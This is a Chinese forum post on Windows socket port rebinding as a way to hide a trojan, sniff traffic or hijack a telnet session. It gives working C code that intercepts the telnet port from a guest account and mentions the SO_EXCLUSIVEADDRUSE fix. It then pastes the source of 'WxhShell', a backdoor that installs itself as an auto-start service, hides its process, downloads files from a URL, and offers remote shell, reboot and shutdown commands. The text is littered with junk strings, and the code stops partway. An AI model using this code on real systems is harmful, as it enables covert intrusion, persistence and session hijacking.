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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @FTi*$Ix  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jz)H?UuDY  
piP8ObGjy  
  saddr.sin_family = AF_INET; Rc4EFHL  
Q@8[ql1l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >W;i2%T  
=T-w.}27O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); u!i5Q  
JvDsr0]\#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WdT|xf.Q&  
_(hwU>.  
  这意味着什么?意味着可以进行如下的攻击: gY9"!IVe+  
l;.BlHyu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /K^cU;E,  
q :bKT#\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c&++[  
(yP55PC O$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3\{Sf /#  
x3Ud0[(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kslN_\   
"YL-!P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :3B\,inJ  
$c}0L0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 my1kF%?  
a%dx\&K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pd#/;LT  
Xo`1#6xsE  
  #include AJT0)FCpR  
  #include ,<1*  
  #include 6"7qZq  
  #include    +2SX4Kxu  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Iqsk\2W]a3  
  int main() `y`xk<q  
  { L?0l1P  
  WORD wVersionRequested; ~S3eatM$9  
  DWORD ret; \ax%I)3  
  WSADATA wsaData; V5B-S.i@  
  BOOL val; {Fi@|'  
  SOCKADDR_IN saddr; -e~U u  
  SOCKADDR_IN scaddr; @m V C  
  int err; qN@a<row&~  
  SOCKET s; o!~bR  
  SOCKET sc; !)O$Q}'\  
  int caddsize; >|?T|  
  HANDLE mt; yr>bL"!CA  
  DWORD tid;   ;X(n3F  
  wVersionRequested = MAKEWORD( 2, 2 ); ?_aR-[XRg  
  err = WSAStartup( wVersionRequested, &wsaData ); spJ(1F{|V  
  if ( err != 0 ) { I*}#nY0+  
  printf("error!WSAStartup failed!\n"); Ct)MvZ  
  return -1; D.(G9H  
  } Rs`a@ Fn  
  saddr.sin_family = AF_INET; ~8*oGG~s  
   YJ$ewK4E#.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >A&@Wp1  
F-^HN%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1c#'5~nB  
  saddr.sin_port = htons(23); G+uiZ (p>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (fa?f tK  
  { Ug21d42Z4  
  printf("error!socket failed!\n"); ^d80\PXz  
  return -1; :eW~nI.Vc  
  } P0xLx  
  val = TRUE; pGY]Vw Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7X(]r1-+\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :OCux Sc%5  
  { U*Qq5=dqD  
  printf("error!setsockopt failed!\n"); (:QQ7xc{}  
  return -1; zXZ'nJ5OGG  
  } -kbm$~P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,SF.@^o@a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _wNPA1q0J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fm%RNAPvc  
wy {>gvqK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,g_onfY  
  { 6 ]Oxx{|}  
  ret=GetLastError(); 0j(jJAE.  
  printf("error!bind failed!\n"); B#"|5  
  return -1; SDHc[66'  
  } nKB&|!  
  listen(s,2); 87KrSZ  
  while(1) c^O#O  
  { Cc)P5\j h  
  caddsize = sizeof(scaddr); *O> aqu  
  //接受连接请求 ]<gCq/V#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5 xDN&su  
  if(sc!=INVALID_SOCKET) ]TgP!M&q  
  { T:dm0iau  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _AYC|R|  
  if(mt==NULL) EWIc|b:  
  { kLt9; <L  
  printf("Thread Creat Failed!\n"); ;#s}b1  
  break; 2BDan^:-Av  
  } DBJA}Cw  
  } lVdT^"~3  
  CloseHandle(mt); *3O>J"  
  } zN+* R;Ds  
  closesocket(s); =kh>s$We  
  WSACleanup(); 1Xr"h:U_X  
  return 0; u\R`IZ&O  
  }   QZ3(u<f  
  DWORD WINAPI ClientThread(LPVOID lpParam) HDVl5X`j'  
  { fu<2t$Cn>  
  SOCKET ss = (SOCKET)lpParam; pP* ~ =?  
  SOCKET sc; rA1r#ksQ  
  unsigned char buf[4096]; PCPf*G>  
  SOCKADDR_IN saddr; rLh9`0|D  
  long num; VS|( "**  
  DWORD val; g'ZMV6b?K  
  DWORD ret; UIOEkQ\Wl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0sDwTb"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BwJ^_:(p~  
  saddr.sin_family = AF_INET; b/B`&CIA0"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1N9< d,  
  saddr.sin_port = htons(23); 6WN(22Io  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C`n9/[,#  
  { i*CQor6|z  
  printf("error!socket failed!\n"); Tz[?gF.Do  
  return -1; =6L*!JP<  
  } `{U%[$<[W  
  val = 100; y[p$/$bgC5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q{cp|#m#G  
  { 3z)"U  
  ret = GetLastError(); r1oku0o  
  return -1; $54=gRo^  
  } g&+Y{*Gp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qC1U&b#MVx  
  { H5rPq_R  
  ret = GetLastError(); tB7K&ssi  
  return -1; n2d8;B#  
  } BKQIo)g.G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /Y[o=Uyl  
  { <s/<b*T ^  
  printf("error!socket connect failed!\n"); d)0LVa(  
  closesocket(sc); (+UmUx=  
  closesocket(ss); LR3`=Z9  
  return -1; 'Z.OF5|eGT  
  } aLKMDiT  
  while(1) sr+gD*@h  
  { #_?TIY:h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'sRg4?PT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3G%wZ,)C  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |'c4er/;#  
  num = recv(ss,buf,4096,0); ?Z Rkn+;  
  if(num>0) G7Z vfLR{:  
  send(sc,buf,num,0); I{42'9  
  else if(num==0) 0aC 2 Pym^  
  break; Wk`bb!P_  
  num = recv(sc,buf,4096,0); 6KEykw j  
  if(num>0) |,;twj[?4  
  send(ss,buf,num,0); b+IOh|  
  else if(num==0) i)7n c  
  break; ]Y4q'KH  
  } =!(*5\IM  
  closesocket(ss); X_u@D;$  
  closesocket(sc); ;h9-}F  
  return 0 ; v._Egk0  
  } %9T~8L @.  
SbS$(Gt#Bv  
j9URl$T:  
========================================================== - J"qrpZ^  
EWb(uWC8h  
下边附上一个代码,,WXhSHELL N^ h |h  
5 [ ,+\  
========================================================== 0{?: FQ#  
<E>7>ZL  
#include "stdafx.h" q]"2hLq  
F1gt3 ae  
#include <stdio.h> <rX \LwR  
#include <string.h> Cf0|Z  
#include <windows.h> *$i;o3  
#include <winsock2.h> 6| *(dE2x(  
#include <winsvc.h> 7q%|4Z-~  
#include <urlmon.h> ^^7L"je]g  
s~=KhP~  
#pragma comment (lib, "Ws2_32.lib") qr)v'aC3  
#pragma comment (lib, "urlmon.lib") =[]x\&@t  
1l/AKI(!  
#define MAX_USER   100 // 最大客户端连接数 4>4V-m\  
#define BUF_SOCK   200 // sock buffer q.=^i z&m  
#define KEY_BUFF   255 // 输入 buffer =oE_.ux\  
#puQi  
#define REBOOT     0   // 重启 ih>a~U<  
#define SHUTDOWN   1   // 关机 Z+Yeg  
k SB  
#define DEF_PORT   5000 // 监听端口 VK2@2`$  
#K=b%;>  
#define REG_LEN     16   // 注册表键长度 N;-/wip  
#define SVC_LEN     80   // NT服务名长度 59{;VY81  
>u=%Lz"J  
// 从dll定义API -7>^ rR V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `"a? a5]k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1.'(nKoq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |DN^NhtE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AL>c:K)qO  
R'6@n#:  
// wxhshell配置信息 j4;Du>obQ  
struct WSCFG { i@P 9EU  
  int ws_port;         // 监听端口 <7=&DpjI7F  
  char ws_passstr[REG_LEN]; // 口令 U/ ?F:QD4  
  int ws_autoins;       // 安装标记, 1=yes 0=no O( VxMO  
  char ws_regname[REG_LEN]; // 注册表键名 }@Xh xZu  
  char ws_svcname[REG_LEN]; // 服务名 gjW\ XY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,*/Pg 52?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "\}b!gl$8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q_ctX|.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a9[mZVMgUK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8h2D+1,PZC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OmB TA=E<  
,H>W:O  
}; Z6 ;Wd_  
O\6vVM[  
// default Wxhshell configuration bqSMDK  
struct WSCFG wscfg={DEF_PORT, h`=r )D  
    "xuhuanlingzhe", glv ;C/l  
    1, ?4^} ;wDb2  
    "Wxhshell", pe|X@o  
    "Wxhshell", 'gCJ[ce  
            "WxhShell Service", l+%Fl=Q2em  
    "Wrsky Windows CmdShell Service", 4~!Eje!  
    "Please Input Your Password: ", >Q; g0\I_  
  1, O?CdAnhQc`  
  "http://www.wrsky.com/wxhshell.exe", d] U`?A,  
  "Wxhshell.exe" YWEYHr;%^?  
    }; 6`acg'sk>  
:-z&Y492  
// 消息定义模块 rwy+~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H4t)+(:D'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zr=ib  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 0_}S*T  
char *msg_ws_ext="\n\rExit."; ^f9>l;Lb  
char *msg_ws_end="\n\rQuit."; p"2m90IO  
char *msg_ws_boot="\n\rReboot..."; OY:u',T  
char *msg_ws_poff="\n\rShutdown..."; >-b&v$  
char *msg_ws_down="\n\rSave to "; 4S tjj!ew  
0; 7#ji  
char *msg_ws_err="\n\rErr!"; `|nH1sHFq  
char *msg_ws_ok="\n\rOK!"; `19qq]  
U_]=E<el  
char ExeFile[MAX_PATH]; yE#g5V&  
int nUser = 0; 4sTMgBzw  
HANDLE handles[MAX_USER]; !x>,N%~  
int OsIsNt; rWA6X DM7  
I?B,sl_w  
SERVICE_STATUS       serviceStatus; 42&v % ;R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ML=eL*}l  
sm0fAL  
// 函数声明 `xCOR  
int Install(void); (~JwLe@a  
int Uninstall(void); rvwa!YY}  
int DownloadFile(char *sURL, SOCKET wsh); !$_~x 8K1-  
int Boot(int flag); ?\ZL#)hr"p  
void HideProc(void); 'r\ 4}Ik  
int GetOsVer(void); %,0%NjK  
int Wxhshell(SOCKET wsl); LT/mb2  
void TalkWithClient(void *cs); S#tY@h@XV  
int CmdShell(SOCKET sock); :_v!#H)  
int StartFromService(void); @OzMiN  
int StartWxhshell(LPSTR lpCmdLine); 6hO-H&r++  
*Ddi(`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); + ~ "5!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \/ErPi=g  
jXixVNw  
// 数据结构和表定义 e?b)p5g  
SERVICE_TABLE_ENTRY DispatchTable[] = YScvyh?E  
{ >p0KFU  
{wscfg.ws_svcname, NTServiceMain}, 8] `Ru5nd  
{NULL, NULL} /2xSNalC  
}; }9^@5!qX  
{{\ce;hN  
// 自我安装 M%I@<~wl  
int Install(void) Xw t`(h[u  
{ M*w'1fT  
  char svExeFile[MAX_PATH]; >{wuEPA  
  HKEY key; U6<M/>RG$  
  strcpy(svExeFile,ExeFile); Huc|6~X  
&kzj?xK=(j  
// 如果是win9x系统,修改注册表设为自启动 A (okv  
if(!OsIsNt) { -\4zwIH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Br!9x {q*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Y2i*:<  
  RegCloseKey(key);  S(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !J3UqS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E$A3|rjnoN  
  RegCloseKey(key); ~Wei|,w'<  
  return 0; lj4o#^lC  
    } .1#kD M  
  } l(!/Q|Q|  
} E"6X|I n  
else { ! \sMR  
wksl0:BL  
// 如果是NT以上系统,安装为系统服务 ^`XCT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 19W:-Om  
if (schSCManager!=0) | &7S8Q  
{ H;Ku w  
  SC_HANDLE schService = CreateService t0Mx!p'T  
  ( ^AL2H'  
  schSCManager, o:~LF6A-  
  wscfg.ws_svcname, bWmw3w  
  wscfg.ws_svcdisp, eM2|c3/  
  SERVICE_ALL_ACCESS, 'RbQj}@x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LHkQ'O0  
  SERVICE_AUTO_START, =^tA_AxVw  
  SERVICE_ERROR_NORMAL, +.kfU)6@  
  svExeFile,  U>a\j2I  
  NULL, 0 ipN8Pg+  
  NULL, XKS8K4"  
  NULL, 2' ] KTHm  
  NULL, /TV= $gB`  
  NULL /<{:I \<  
  ); ]JXKZV8$0  
  if (schService!=0) [M%._u,  
  { 69OF_/23  
  CloseServiceHandle(schService); E=$p^s  
  CloseServiceHandle(schSCManager); %S \8.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x`%JI=q  
  strcat(svExeFile,wscfg.ws_svcname); SwW['c'*]B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jQ+sn/ROp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ++jAz<46  
  RegCloseKey(key); 4<gb36)|4  
  return 0; [9o4hw  
    } k XrlSaIc  
  } KOh A)  
  CloseServiceHandle(schSCManager); a`!@+6yC  
} te,[f  
} Y`BRh9Sa  
(V?:]  
return 1; _zMgoc7  
} 2VGg 6%  
U*)m' ,  
// 自我卸载 \r {W  
int Uninstall(void) Iz@)!3h  
{ Fmr}o(q1  
  HKEY key; yN6>VD{F  
e<cM[6H'D  
if(!OsIsNt) { j Ux z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +>\id~c(  
  RegDeleteValue(key,wscfg.ws_regname); }H"kU2l  
  RegCloseKey(key); 1P(&J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U;q];e:,=}  
  RegDeleteValue(key,wscfg.ws_regname); SF[FmN!^^  
  RegCloseKey(key); t#i,1aHA  
  return 0; OI}cs2m  
  } ~Z'w)!h  
} SF*n1V3hx  
} 3W_PE+:Kr  
else { D5,P)[  
j+-P :xvP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >znRyQ~bM  
if (schSCManager!=0) $O)3 q $|  
{ ?OlV"zK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]#2Y e7+  
  if (schService!=0) 9DQa PA6  
  {  ._O  
  if(DeleteService(schService)!=0) { ACq7dLys,B  
  CloseServiceHandle(schService); w= P 9FxB  
  CloseServiceHandle(schSCManager); L+}n@B  
  return 0; Iw<i@=V  
  } {0"YOS`3AX  
  CloseServiceHandle(schService); *%/~mSx  
  } ^-z=`>SrS"  
  CloseServiceHandle(schSCManager); W ~f(::  
} H<EQu|f&x  
} k%]=!5F  
GL{57  
return 1; /3B $(  
} re?s.djT  
~{,X3-S_H  
// 从指定url下载文件 ig}A9j?]  
int DownloadFile(char *sURL, SOCKET wsh) \p{5D`HY  
{ e]=lKxFh&l  
  HRESULT hr; a ^d8I  
char seps[]= "/"; : j }fC8'  
char *token; zOgTQs"ZH  
char *file; 03E4cYxt5  
char myURL[MAX_PATH]; uvP2Wgt  
char myFILE[MAX_PATH]; YjOs}TD lx  
' Z0r>.  
strcpy(myURL,sURL); jw<pK4?y  
  token=strtok(myURL,seps); 29CINC  
  while(token!=NULL) /zDi9W*~1  
  { }v:jncp  
    file=token; %wcSM~w  
  token=strtok(NULL,seps); :+Om]#`Vls  
  } } :=Tm]S  
`K~AhlJUQ  
GetCurrentDirectory(MAX_PATH,myFILE); 2_vbT!_  
strcat(myFILE, "\\"); B33$pUk  
strcat(myFILE, file); ABE@n%|`  
  send(wsh,myFILE,strlen(myFILE),0); ,1OyN]f3  
send(wsh,"...",3,0); ;{h CF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6`vC1PK^  
  if(hr==S_OK) >{\7&}gz  
return 0; )XcOl7XLN  
else W @|6nPm  
return 1; +)o}c"P!  
`\Hf]b  
} A+hT3;lp  
(jU6GJRP  
// 系统电源模块 H"ZZ.^"5FV  
int Boot(int flag) ;22oY>w  
{ m3Il3ZY.  
  HANDLE hToken; @2'Mt}R>  
  TOKEN_PRIVILEGES tkp; 2{|h8oz  
L_=3<n E  
  if(OsIsNt) { 3bnS W5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jReXyRmo({  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Xp0F [>h  
    tkp.PrivilegeCount = 1; 34\(7JO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x#Sqn#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F 8B#}%JE  
if(flag==REBOOT) { ( Jz;W<E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pPd#N'\*  
  return 0; 9]q:[zm^  
} yR(x+ Gs{]  
else { T)r9-wOq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Yn8=  
  return 0; C z\Ppq  
} t%F0:SH  
  } )iFJz/n>  
  else { (?nCy HC%g  
if(flag==REBOOT) { _h}kp\sps  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `ZC<W]WYX/  
  return 0; y!!2WHvE  
} L:@7tc.  
else { +\v?d&.f0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zOQ>d|p?X  
  return 0; KtNY_&xd  
} )7h$G-fe  
} rRFhGQq1m  
D_vbSF)  
return 1; 'C"9QfK  
} /Q~i~B 2j-  
D 9M:^  
// win9x进程隐藏模块 n=[/Z!  
void HideProc(void) KEWTBBg  
{ J H7<  
_4g.j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eUg~)m5G  
  if ( hKernel != NULL ) e=.]F*:J  
  { ght$9>'n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T?X_c"{8M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <>Hj ;q5p  
    FreeLibrary(hKernel); (DI>5.x"  
  } 6'FdGS  
qT+%;(  
return; MdW]MW{  
} &Y }N|q-  
irfp!(r  
// 获取操作系统版本 L*:jXmUM_~  
int GetOsVer(void) Mxv;k%l|E|  
{ N0r16# -g  
  OSVERSIONINFO winfo; [sW3l:^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |j7,Mu+  
  GetVersionEx(&winfo); b9l;a+]d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OLE[UXD-E  
  return 1; k?,1x~  
  else ^0 -:G6H  
  return 0; :5{wf Am  
} DP|D\+YyYA  
pS:4CNI{  
// 客户端句柄模块 o,)?!{k}  
int Wxhshell(SOCKET wsl) <*qnY7c&N;  
{ #?S^kM-0  
  SOCKET wsh; B8}Nvz /  
  struct sockaddr_in client; %rv7Jy   
  DWORD myID; t;}:waZD  
`7r@a  
  while(nUser<MAX_USER) yPal<c  
{ 3qf Ym}d  
  int nSize=sizeof(client); r[*Vqcz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <_-hRbS  
  if(wsh==INVALID_SOCKET) return 1; ~Yy>zUH^X  
X"fb;sGT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5;YMqUkw  
if(handles[nUser]==0) Ys\Wj%6A  
  closesocket(wsh); H*r)Z 90  
else 4GX-ma,  
  nUser++;  B\o Mn  
  } C)`Fv=]R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H["`Mn7j2  
MB~=f[cUnd  
  return 0;  A|<jX}  
} C@'h<[v`1v  
VT\F]Oa#  
// 关闭 socket o%IA}e7PAa  
void CloseIt(SOCKET wsh) {y_98N  
{ )!P)U(*v  
closesocket(wsh); U`2e{>'4t  
nUser--; T[g[&K1Y  
ExitThread(0); 5?]hd*8   
} T9Nb`sbV]  
_I:/ZF5  
// 客户端请求句柄 A\HxDIU  
void TalkWithClient(void *cs) `ojoOB^L  
{ u=`L )  
aWR}R>E  
  SOCKET wsh=(SOCKET)cs; (KDD e}f  
  char pwd[SVC_LEN]; J1C3&t}  
  char cmd[KEY_BUFF]; gaZu;t2u  
char chr[1]; KbA?7^zo`  
int i,j; n $$SNWgM  
tp63@L|Q  
  while (nUser < MAX_USER) { n(;|q&3  
YoBDvV":@  
if(wscfg.ws_passstr) { \1^^\G>H5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K<>oa[B9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XovRg,  
  //ZeroMemory(pwd,KEY_BUFF); YS/Yd[ e  
      i=0; hoK>~:;  
  while(i<SVC_LEN) { v>Q #B  
\1D<!k\S  
  // 设置超时 RO 4Z?tz  
  fd_set FdRead; e4? >-  
  struct timeval TimeOut; _({hc+9p  
  FD_ZERO(&FdRead); Vf] "L .G  
  FD_SET(wsh,&FdRead); DH\0z[  
  TimeOut.tv_sec=8; fSK]|"c  
  TimeOut.tv_usec=0; um!J]N^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rh_np  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); O$_)G\\\m  
]>=}*=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E&2OD [iX  
  pwd=chr[0]; S4Y&  
  if(chr[0]==0xd || chr[0]==0xa) { l]Ax:Z  
  pwd=0; }fb#G<3  
  break; +BETF;0D  
  } I|gB@|_~  
  i++; PQ5QA61  
    } }dgfqq  
_Kl_61k  
  // 如果是非法用户,关闭 socket Oo5w?+t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `6~Aoe  
} "s0)rqf<  
2$+bJJM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cW@Zd5&0S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +ElfZ4  
hT`J1nNt  
while(1) { O}-jCW;K  
zzTfYf)  
  ZeroMemory(cmd,KEY_BUFF); &Sw%<N*r  
u0|8Tgf  
      // 自动支持客户端 telnet标准   }B\a<0L/  
  j=0; X' H[7 ^W  
  while(j<KEY_BUFF) { RJ  8+h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dCi?SIN  
  cmd[j]=chr[0]; hYPl&^  
  if(chr[0]==0xa || chr[0]==0xd) { I*{4rDt  
  cmd[j]=0; + jc!5i .  
  break;  P5a4ze  
  } Mo?~_|}  
  j++; V58wU:li  
    } *|%@6I(  
=,spvy'"*C  
  // 下载文件 nAW:utTB  
  if(strstr(cmd,"http://")) { Ugu[|,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l{I6&^!KS  
  if(DownloadFile(cmd,wsh)) ($au:'kU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x$5) ^ud?  
  else UO0{):w>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iU$] {c2;A  
  } \?[v{WP)  
  else { LClNxm2X  
cv998*|X:  
    switch(cmd[0]) { Ktb\ bw  
  xST8|H  
  // 帮助 5D\f8L  
  case '?': { ?pr9f5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IUE~_7  
    break; j9eTCJqB  
  } *"?l]d  
  // 安装 K28+]qy[  
  case 'i': { ALrw\qV  
    if(Install()) }\tdcTMgS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v- T$:cL  
    else [ey:e6,T9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |'P]GK  
    break; SQBa;hvgM  
    } 4r>6G/b8*  
  // 卸载 8ja$g,  
  case 'r': { 7X0Lq}G@  
    if(Uninstall()) k;K)xb[w|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U 9_9l7&r  
    else (D#B_`;-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oft-w)cYz,  
    break; ii[F]sR\  
    } qkt0**\  
  // 显示 wxhshell 所在路径 = s>T;|  
  case 'p': { Vq2y4D?  
    char svExeFile[MAX_PATH]; HG^B#yX  
    strcpy(svExeFile,"\n\r"); u$DHVRrF<  
      strcat(svExeFile,ExeFile); Wvbf"hq  
        send(wsh,svExeFile,strlen(svExeFile),0); kpJ@M%46  
    break; UtPLI al  
    } F_w Z"e6  
  // 重启 x2OaPlG,&V  
  case 'b': { N4^-`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \|H!~)h$1  
    if(Boot(REBOOT)) %eX{WgH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zMj#KA1  
    else { En~5"yW5>]  
    closesocket(wsh); wW7eT~w  
    ExitThread(0); f!\lg  
    } Bc+w+  
    break; qaY1xPWz"  
    } ve MH  
  // 关机 jr)1(**  
  case 'd': { v*'^r)Q[p  
